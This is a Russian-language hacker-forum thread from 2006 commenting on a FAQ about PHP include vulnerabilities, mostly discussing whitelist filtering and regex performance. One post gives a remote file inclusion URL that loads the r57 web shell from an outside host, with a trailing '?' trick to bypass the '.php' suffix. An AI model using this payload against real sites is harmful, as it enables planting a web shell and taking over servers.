Комментарии к FAQ PHP Including

Discussion in 'Уязвимости' started by drmist, 29 Apr 2006.

  1. drmist

    drmist Member

    Joined:
    8 Oct 2005
    Messages:
    307
    Likes Received:
    94
    Reputations:
    80
    Почему-то тема (http://forum.antichat.ru/thread18368.html) оказалась закрытой. Предположительно, это вызванно желанием не засорять ее чужими комментами. Потому предлогаю обсудить ее здесь.

    Лично мне хотелось бы высказать свое уважение автору, указать ему на одну несущественную ошибку и немного дополнить FAQ.

    Ошибка находится здесь:
    Code:
    <?
    if(file_exists($page))
    include "/files/$page";
    ?>
    понятно, что если файл $page существует, то это совершенно не говорит о том, что файл /files/$page существует.
    Я бы написал так:
    Code:
    <?
    $page = "../../files/$page.php";
    if(file_exists($page))
    include $page;
    ?>
    По поводу дополнения - тут есть 2 момента.
    1) относительно 0-байтов. Очень часто этот символ фильтруется если и не скриптом, то самим апачем.
    Потому имеет смысл обращатся к бажному скрипту
    Code:
    <?
    include "$page.php";
    ?>
    таким образом:
    http://site.com/include.php?page=http://rst.void.ru/download/r57shell.txt?

    В результате скрипт попытается инклудить
    http://rst.void.ru/download/r57shell.txt?.php, то есть ".php" превратится в параметр в http-запросе и не станет нам мешать.
    2) относительно фильтрации
    наиболее выгодно использовать функцию ereg(). например:
    Code:
    <?php
    if(isset($_GET["page"]))
    {
    $page = $_GET["page"];
    if(ereg("^[a-z]{1,10}$", $page))
      @include "../../files/$page.php";
    else
      die("<a href=\"http://www.fbi.gov\">HACK OFF!</a>");
    }
    ?>
    То есть, если параметр page соответствует регулярному выражению "строка длинной от 1 до 10 символов, состоящая из строчных букв", то скрипт примет ее, иначе пошлет недохакера на www.fbi.gov. Кроме того, символ "@" перед include заставит апач не выводить сообщение об ошибке в случае, если соответствующий файл не будет найлен.

    Ну вот я и высказался, надеюсь мои слова не будут восприняты как упрек, но зато будут восприняты, как желание дополнить материал.
     
    1 person likes this.
  2. kot777

    kot777 O-la-la!

    Joined:
    13 Aug 2004
    Messages:
    588
    Likes Received:
    435
    Reputations:
    454
    Тема закрыта была, для того чтобы не засорять её. уже получил 2 материала по дополнению, всё будет дополнено и исправлено. всем спасибо
     
    2 people like this.
  3. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    свои комменты скинул коту в личку. А насчет твоих... Что-то мне слабо верится что обработка строки регулярными выражениями более эффективно, чем просто отброс лишних сиволов обычным str_replace() ;)
     
    _________________________
  4. drmist

    drmist Member

    Joined:
    8 Oct 2005
    Messages:
    307
    Likes Received:
    94
    Reputations:
    80
    Trinux
    Ты о том, сколько ресурсов тратится?
    Я х3. Но могу сказать, что обработка php-сценариев в целом вобще ресурсоемкая задача и насколько она сравнима с ereg() я не в состоянии ответить.
     
  5. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    Все равно str_replace работает быстрее рег выражения в php
    будь то ereg,preg_match и т.д.
     
  6. drmist

    drmist Member

    Joined:
    8 Oct 2005
    Messages:
    307
    Likes Received:
    94
    Reputations:
    80
    Тем не менее мое мнение - все равно, даже если на str_replace тратится 0.01 секунды, а на ereg() 0.1, то нам с вами нет до этого никакого дела )
     
  7. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    если у тебя сайт с низкой посещаемостью - то пофиг, а если нет - то... траблы с хостером... с мощностью сервера. время в 0.1 секунду - приличное время
     
  8. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    Я говорил впринипе. Если ты такую защиту воткнешь на rbc.ru, на котором 200к хостов в день, то эта, казалось бы, незначительная разница перерастет в значительную.
    А обработка php не столь ресурсоемкий процесс, если грамотно повесить php на сервак.

    Кстати, знает кто-нить разницу между ereg() и preg_match()? =))
     
    _________________________
  9. Developer

    Developer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    152
    Likes Received:
    25
    Reputations:
    10
    Code:
    if (!empty($_GET['go']) && preg_match("#^[a-z0-9_]{2,20}$#", $_GET['go']) && file_exists("modules/".$_GET['go']."/index.php")) {
        $module = $_GET['go'];
        include("modules/".$module."/index.php");
    }
     
  10. Developer

    Developer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    152
    Likes Received:
    25
    Reputations:
    10
    Юзаем этот код и все ок - include баг уже не прокатит. Кто не согласен - отписываемся, открываем мне глаза :)))